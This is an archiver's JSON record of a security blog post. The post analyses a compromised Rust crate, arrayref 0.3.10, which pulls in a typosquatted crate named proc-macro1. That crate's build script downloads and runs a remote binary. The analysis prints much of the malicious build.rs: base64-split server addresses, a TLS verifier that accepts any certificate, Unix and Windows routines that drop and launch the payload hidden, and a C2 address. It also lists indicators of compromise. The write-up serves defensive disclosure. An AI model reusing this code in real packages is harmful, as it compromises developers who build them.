{
    "archive_path": "archive/1787687485.217007",
    "base_url": "safedep.io/arrayref-proc-macro1-rust-build-time-malware",
    "basename": "",
    "bookmarked_date": "2026-08-25 19:51",
    "canonical": {
        "archive_org_path": "https://web.archive.org/web/safedep.io/arrayref-proc-macro1-rust-build-time-malware",
        "dom_path": "output.html",
        "favicon_path": "favicon.ico",
        "git_path": "git/",
        "google_favicon_path": "https://www.google.com/s2/favicons?domain=safedep.io",
        "headers_path": "headers.json",
        "htmltotext_path": "htmltotext.txt",
        "index_path": "index.html",
        "media_path": "media/",
        "mercury_path": "mercury/content.html",
        "pdf_path": "output.pdf",
        "readability_path": "readability/content.html",
        "screenshot_path": "screenshot.png",
        "singlefile_path": "singlefile.html",
        "warc_path": "warc/",
        "wget_path": "safedep.io/arrayref-proc-macro1-rust-build-time-malware/index.html"
    },
    "domain": "safedep.io",
    "extension": "",
    "hash": "TMYEVTYB6C3XMDJ8VBH8",
    "history": {
        "archive_org": [],
        "dom": [],
        "favicon": [
            {
                "cmd": [
                    "curl",
                    "--silent",
                    "--location",
                    "--compressed",
                    "--max-time",
                    "60",
                    "--output",
                    "favicon.ico",
                    "--user-agent",
                    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36 ArchiveBox/0.7.4 (+https://github.com/ArchiveBox/ArchiveBox/) curl/curl 8.14.1 (x86_64-pc-linux-gnu)",
                    "https://www.google.com/s2/favicons?domain=safedep.io"
                ],
                "cmd_version": "curl 8.14.1 (x86_64-pc-linux-gnu)",
                "end_ts": "2026-08-25T20:03:37.054113+00:00",
                "index_texts": null,
                "output": "favicon.ico",
                "pwd": "/data/archive/1787687485.217007",
                "schema": "ArchiveResult",
                "start_ts": "2026-08-25T20:03:36.504950+00:00",
                "status": "succeeded"
            }
        ],
        "git": [],
        "headers": [
            {
                "cmd": [
                    "curl",
                    "--silent",
                    "--location",
                    "--compressed",
                    "--head",
                    "--max-time",
                    "60",
                    "--user-agent",
                    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36 ArchiveBox/0.7.4 (+https://github.com/ArchiveBox/ArchiveBox/) curl/curl 8.14.1 (x86_64-pc-linux-gnu)",
                    "https://safedep.io/arrayref-proc-macro1-rust-build-time-malware/"
                ],
                "cmd_version": "curl 8.14.1 (x86_64-pc-linux-gnu)",
                "end_ts": "2026-08-25T20:03:37.450600+00:00",
                "index_texts": null,
                "output": "headers.json",
                "pwd": "/data/archive/1787687485.217007",
                "schema": "ArchiveResult",
                "start_ts": "2026-08-25T20:03:37.059969+00:00",
                "status": "succeeded"
            }
        ],
        "htmltotext": [],
        "media": [],
        "mercury": [
            {
                "cmd": [
                    "/app/node_modules/@postlight/parser/cli.js",
                    "https://safedep.io/arrayref-proc-macro1-rust-build-time-malware/"
                ],
                "cmd_version": "1.0.0",
                "end_ts": "2026-08-25T20:03:52.336261+00:00",
                "index_texts": null,
                "output": "mercury",
                "pwd": "/data/archive/1787687485.217007",
                "schema": "ArchiveResult",
                "start_ts": "2026-08-25T20:03:47.168685+00:00",
                "status": "succeeded"
            }
        ],
        "pdf": [],
        "readability": [
            {
                "cmd": [
                    "/app/node_modules/readability-extractor/readability-extractor",
                    "/tmp/tmp9f_fuvuw",
                    "https://safedep.io/arrayref-proc-macro1-rust-build-time-malware/"
                ],
                "cmd_version": "0.0.11",
                "end_ts": "2026-08-25T20:03:47.161016+00:00",
                "index_texts": [
                    "Summary\nOn August 20, 2026, a compromised release of the popular Rust crate arrayref appeared on\ncrates.io. Version 0.3.10 added a dependency on a typosquatted crate called\nproc-macro1, whose build script downloads and runs a remote binary while a project compiles.\nThe code runs at build time, so simply compiling a project that pulled the bad versions is enough\nto trigger it. The crates.io team has since removed the malicious versions.\nPackages involved\nThe genuine arrayref and append-only-vec crates are maintained by droundy, whose account\nappears to have been compromised. The corresponding GitHub repositories are no longer available.\ngithub.com/droundy/arrayref,\ngithub.com/droundy/append-only-vec, and the entire github.com/droundy account all return 404,\nso the upstream code is no longer available for inspection. A separate account, dtolney, published\nproc-macro1.\nThe username closely resembles David Tolnay\u2019s real dtolnay account. Its metadata forges\nauthors = [\"David Tolnay <[email\u00a0protected]>\"] and points repository at a\ndtolnay/proc-macro1 path that returns 404.\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\nCrateVersionPublisherStatusarrayref0.3.10droundy (compromised)Malicious, removedinternment0.8.7droundy (compromised)Malicious, removedappend-only-vec0.1.9droundy (compromised)Malicious, removedproc-macro1all versionsdtolney (impersonation)Malicious typosquat, entire crate removedproc-macro-enall versionsMalicious dependency crate, removedaovineall versionsMalicious dependency crate, removedaroneall versionsMalicious dependency crate, removedaronenaoall versionsMalicious dependency crate, removedtinymemberall versionsMalicious dependency crate, removed\nNote that proc-macro1 is not proc-macro2. The real crate that macro authors depend on is\nproc-macro2. The src/ of the malicious proc-macro1\nis a genuine copy of proc-macro2, so builds kept working while the build script ran.\nWhat the build script does\nThe payload lives in the build script of proc-macro1 1.0.107. It stores its server address as\nbase64 fragments and reassembles them at build time, quoted in the advisory:\n// proc-macro1-1.0.107/build.rs (quoted in rustsec/advisory-db#3161)const SRC_URL_PARTS: &[&str] =    &[\"aHR0cHM6Ly8=\", \"MjMuMjU0Lg==\", \"MTY1Lg==\", \"MTEyOg==\", \"OTA4OS8=\"];const END_URL_PARTS: &[&str] =    &[\"MjMuMjU0Lg==\", \"MTY1Lg==\", \"MTEyOg==\", \"NDQz\"];\nDecoded, those fragments produce the payload host hxxps://23[.]254[.]165[.]112:9089/ and the\ncommand and control address 23[.]254[.]165[.]112:443. The script fetches an architecture-specific\nbinary over a TLS connection that accepts any certificate without validation, then runs it detached\nfrom the build. On Unix it drops and runs /tmp/rust-setup. On Windows it writes a PowerShell\nscript and a VBScript launcher under %TEMP% and starts them hidden, then abandons\nthe child process so the compiler does not wait for it.\nHow it spread\nThe owner account yanked the older arrayref releases 0.3.5 through 0.3.9. Yanking a\ncrate makes Cargo print a \u201cconsider updating to a version that is not yanked\u201d warning, which nudges\ndevelopers toward the only non-yanked release, the malicious 0.3.10. The reporter who filed the\nRustSec advisory noted this is how they hit\nit.\narrayref is widely used as a transitive dependency. It sits deep in common Rust graphs through\ntiny-skia, sctk-adwaita, and winit, which places it under most GUI work built on egui,\neframe, and iced. The crate has about 245 million all-time downloads (244,989,384 at time of\nwriting), with the clean 0.3.9 release accounting for roughly 152 million. Those numbers measure\nhow widely the crate is used rather than a count of affected builds.\nIndicators of compromise\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\nTypeIndicatorDetailNetwork23.254.165.112:9089Payload host (HTTPS)Network23.254.165.112:443C2, passed to the payload as argv[1]File (Unix)/tmp/rust-setupDownloaded executableFile (Windows)%TEMP%\\rust-setup.ps1Downloaded PowerShell scriptFile (Windows)%TEMP%\\rust-setup-launch.vbsVBScript launcherSecond-stage namesrust-crate_0.1.0, _0.2.0, _0.3.0, _0.4.0Chosen by OS and architecture\nSHA256 of the removed crate artifacts:\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\nArtifactSHA256arrayref 0.3.1025ad700976873c76af785cb99b33c48db7df8b81f21d1e9e06b3676b9a9373aeproc-macro1 1.0.10761198155da51b838772eecf5bfaac6cbc4dcc388dccc56658fc28a8e831b34d4proc-macro1 1.0.106b5c1b5b0763a8809a644a8f92224653f0aca623a98eecc714d27f74b80fbe436\n\nPart 2: Technical Analysis\nOur technical analysis covers the two crates behind this incident, arrayref 0.3.10 and\nproc-macro1 1.0.107. arrayref 0.3.10 pulls in a dependency called proc-macro1. The malicious\ncode is in the build script of proc-macro1, not in arrayref itself.\nThe injection point in arrayref\narrayref is a small crate of four macros. Up to 0.3.9 it has no build script and no runtime\ndependencies. Version 0.3.10 keeps that macro source and adds one line to the manifest:\n[package]name = \"arrayref\"version = \"0.3.10\"build = false[dependencies.proc-macro1]version = \"1.0.107\"\nThis [dependencies.proc-macro1] entry is sufficient to introduce the malicious crate. The requirement 1.0.107 is a caret\nrange, and with only 1.0.106 and 1.0.107 ever published it resolves to the malicious 1.0.107. The\ncrate\u2019s own src/lib.rs is the ordinary macro code, for example the array_ref! macro:\n#[macro_export]macro_rules! array_ref {    ($arr:expr, $offset:expr, $len:expr) => {{        {            #[inline]            const unsafe fn as_array<T>(slice: &[T]) -> &[T; $len] {                &*(slice.as_ptr() as *const [_; $len])            }            let offset = $offset;            let slice = &$arr[offset..offset + $len];            #[allow(unused_unsafe)]            unsafe {                as_array(slice)            }        }    }};}\nNothing in the arrayref source references proc-macro1, and it does not need to. Cargo builds\nevery declared non-optional dependency, whether or not the code uses it. So the manifest entry alone\nmakes Cargo fetch and build proc-macro1 whenever a project pulls in arrayref 0.3.10, and building\nit runs the malicious build script.\nproc-macro1 is a renamed copy of proc-macro2\nThe src/ of proc-macro1 is proc-macro2 with a mechanical find-and-replace of proc-macro2 to\nproc-macro1. The rename reaches into documentation links and even copied issue references, for\nexample html_root_url = \"https://docs.rs/proc-macro1/1.0.107\" in src/lib.rs and a\ngithub.com/dtolnay/proc-macro1/issues/235 link in src/fallback.rs. Because the library code is\nreal proc-macro2, the crate works as a drop-in. This makes the malicious crate less noticeable\nduring a normal build.\nThe package metadata forges an identity:\nauthors = [\"David Tolnay <[email\u00a0protected]>\"]repository = \"https://github.com/dtolnay/proc-macro1\"\nThe email [email\u00a0protected] is not David Tolnay\u2019s, and the dtolnay/proc-macro1 repository\nreturns 404. The suspicious difference is in the build dependencies, which real proc-macro2 does not\nhave:\n[build-dependencies.base64]version = \"0.22\"[build-dependencies.rustls]version = \"0.23\"features = [\"ring\", \"std\", \"tls12\"]default-features = false[build-dependencies.ureq]version = \"2\"features = [\"tls\"]default-features = false\nThose three crates give the build script base64 decoding, a TLS stack, and an HTTP client. These\ndependencies are unusual for a token-parsing library, and the malicious build script uses them.\nThe build script payload\nThe build script splits the server address into base64 fragments and rebuilds it at compile time, so\nthe raw string never appears in the source:\nconst SRC_URL_PARTS: &[&str] = &[\"aHR0cHM6Ly8=\", \"MjMuMjU0Lg==\", \"MTY1Lg==\", \"MTEyOg==\", \"OTA4OS8=\"];const END_URL_PARTS: &[&str] = &[\"MjMuMjU0Lg==\", \"MTY1Lg==\", \"MTEyOg==\", \"NDQz\"];\nDecoded, SRC_URL_PARTS is hxxps://23[.]254[.]165[.]112:9089/ and END_URL_PARTS is\n23[.]254[.]165[.]112:443.\nThe download uses a TLS client that accepts any certificate. The AcceptAll verifier returns\nsuccess from every certificate and signature check in the rustls ServerCertVerifier trait, so a\nself-signed certificate on the raw IP passes:\nimpl ServerCertVerifier for AcceptAll {    fn verify_server_cert(/* ... */) -> Result<ServerCertVerified, rustls::Error> {        Ok(ServerCertVerified::assertion())    }    // verify_tls12_signature and verify_tls13_signature also return success unconditionally}\nThe build script picks the binary to fetch by operating system and architecture. It supports four\ntargets and aborts the build on anything else:\nfn link_suffix() -> &'static str {    match (std::env::consts::OS, std::env::consts::ARCH) {        (\"linux\", \"x86_64\") => \"rust-crate_0.1.0\",        (\"windows\", \"x86_64\") => \"rust-crate_0.2.0\",        (\"macos\", \"x86_64\") => \"rust-crate_0.3.0\",        (\"macos\", \"aarch64\") => \"rust-crate_0.4.0\",        (_, _) => panic!(\"unsupported platform\"),    }}\nThe download and execution run inside main, before the feature gate and the genuine proc-macro2\nconfiguration logic that follows. There is no feature flag or environment check guarding it, so it\nruns on every build on a supported platform:\n// proc-macro1-1.0.107/build.rs (inside main)let url = src_download_url();let bytes = download_bytes(&url);match std::env::consts::OS {    \"linux\" | \"macos\" => run_unix_payload(bytes),    \"windows\" => run_windows_payload(bytes),    os => panic!(\"unsupported OS: {os}\"),}\nOn Unix the build script writes the bytes to /tmp/rust-setup, marks the file executable, and spawns\nit without waiting, passing the command and control address as the first argument. It sends every\nstandard stream to null:\nfn run_unix_payload(bytes: Vec<u8>) {    let path = PathBuf::from(\"/tmp/rust-setup\");    std::fs::write(&path, &bytes).expect(\"failed to write payload\");    Command::new(\"chmod\").args([\"+x\", path_str]).status().expect(\"failed to run chmod\");    Command::new(&path)        .arg(end_url())        .stdin(Stdio::null())        .stdout(Stdio::null())        .stderr(Stdio::null())        .spawn()        .expect(\"failed to spawn payload\");}\nOn Windows the fetched bytes are a PowerShell script. The build script writes them to\n%TEMP%\\rust-setup.ps1 and starts them through a VBScript launcher under wscript.exe, with a\ncomment in the source explaining why:\n// ShellExecute via WScript escapes Cargo's job object; spawned children otherwise// keep the build script (and `cargo build`) waiting until they exit.let vbs = format!(    r#\"CreateObject(\"Wscript.Shell\").Run \"powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -File \"\"{script}\"\" \"\"{end}\"\"\", 0, False\"#,    script = script_path.display(),    end = end_url(),);// ...let child = Command::new(\"wscript.exe\")    .args([\"//B\", \"//Nologo\", launcher_str])    .creation_flags(CREATE_NO_WINDOW)    .spawn()    .expect(\"failed to spawn wscript launcher\");std::mem::forget(child);\nThe launcher runs hidden and does not wait for the process. The source comment states that routing\nthrough WScript is what escapes Cargo\u2019s job object, so PowerShell keeps running after the build\nfinishes. The final std::mem::forget leaks the wscript child handle so its destructor never\nruns. Together this detaches the payload from Cargo. This allows the payload to continue without\nblocking the Cargo build."
                ],
                "output": "readability",
                "pwd": "/data/archive/1787687485.217007",
                "schema": "ArchiveResult",
                "start_ts": "2026-08-25T20:03:44.819530+00:00",
                "status": "succeeded"
            }
        ],
        "screenshot": [],
        "singlefile": [],
        "title": [
            {
                "cmd": [
                    "curl",
                    "--silent",
                    "--location",
                    "--compressed",
                    "--max-time",
                    "60",
                    "--user-agent",
                    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36 ArchiveBox/0.7.4 (+https://github.com/ArchiveBox/ArchiveBox/) curl/curl 8.14.1 (x86_64-pc-linux-gnu)",
                    "https://safedep.io/arrayref-proc-macro1-rust-build-time-malware/"
                ],
                "cmd_version": "curl 8.14.1 (x86_64-pc-linux-gnu)",
                "end_ts": "2026-08-25T20:03:44.814822+00:00",
                "index_texts": null,
                "output": "Malicious Rust Crate arrayref Runs a Build-Time Payload - Real-time Open Source Software Supply Chain Security",
                "pwd": "/data/archive/1787687485.217007",
                "schema": "ArchiveResult",
                "start_ts": "2026-08-25T20:03:44.750241+00:00",
                "status": "succeeded"
            }
        ],
        "wget": [
            {
                "cmd": [
                    "wget",
                    "--no-verbose",
                    "--adjust-extension",
                    "--convert-links",
                    "--force-directories",
                    "--backup-converted",
                    "--span-hosts",
                    "--no-parent",
                    "-e",
                    "robots=off",
                    "--timeout=60",
                    "--restrict-file-names=windows",
                    "--warc-file=/data/archive/1787687485.217007/warc/1787688217",
                    "--page-requisites",
                    "--user-agent=Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36 ArchiveBox/0.7.4 (+https://github.com/ArchiveBox/ArchiveBox/) wget/GNU Wget 1.21.3",
                    "--compression=auto",
                    "https://safedep.io/arrayref-proc-macro1-rust-build-time-malware/"
                ],
                "cmd_version": "GNU Wget 1.21.3",
                "end_ts": "2026-08-25T20:03:44.744341+00:00",
                "index_texts": null,
                "output": "safedep.io/arrayref-proc-macro1-rust-build-time-malware/index.html",
                "pwd": "/data/archive/1787687485.217007",
                "schema": "ArchiveResult",
                "start_ts": "2026-08-25T20:03:37.457437+00:00",
                "status": "succeeded"
            }
        ]
    },
    "icons": null,
    "is_archived": true,
    "is_static": false,
    "latest": {
        "archive_org": null,
        "dom": null,
        "favicon": "favicon.ico",
        "git": null,
        "media": null,
        "pdf": null,
        "screenshot": null,
        "singlefile": null,
        "title": "Malicious Rust Crate arrayref Runs a Build-Time Payload - Real-time Open Source Software Supply Chain Security",
        "warc": null,
        "wget": "safedep.io/arrayref-proc-macro1-rust-build-time-malware/index.html"
    },
    "link_dir": "/data/archive/1787687485.217007",
    "newest_archive_date": "2026-08-25T20:03:47.168685+00:00",
    "num_failures": 0,
    "num_outputs": 6,
    "oldest_archive_date": "2026-08-25T20:03:36.504950+00:00",
    "path": "/arrayref-proc-macro1-rust-build-time-malware/",
    "schema": "Link",
    "scheme": "https",
    "snapshot_id": "774c9099-d0c6-4fd8-b088-dbde7dc90e7b",
    "sources": [
        "/data/sources/1787687485-import.txt"
    ],
    "tags": null,
    "tags_str": "",
    "timestamp": "1787687485.217007",
    "title": "Malicious Rust Crate arrayref Runs a Build-Time Payload - Real-time Open Source Software Supply Chain Security",
    "updated": "2026-08-25T20:03:36.504460+00:00",
    "updated_date": "2026-08-25 20:03",
    "url": "https://safedep.io/arrayref-proc-macro1-rust-build-time-malware/"
}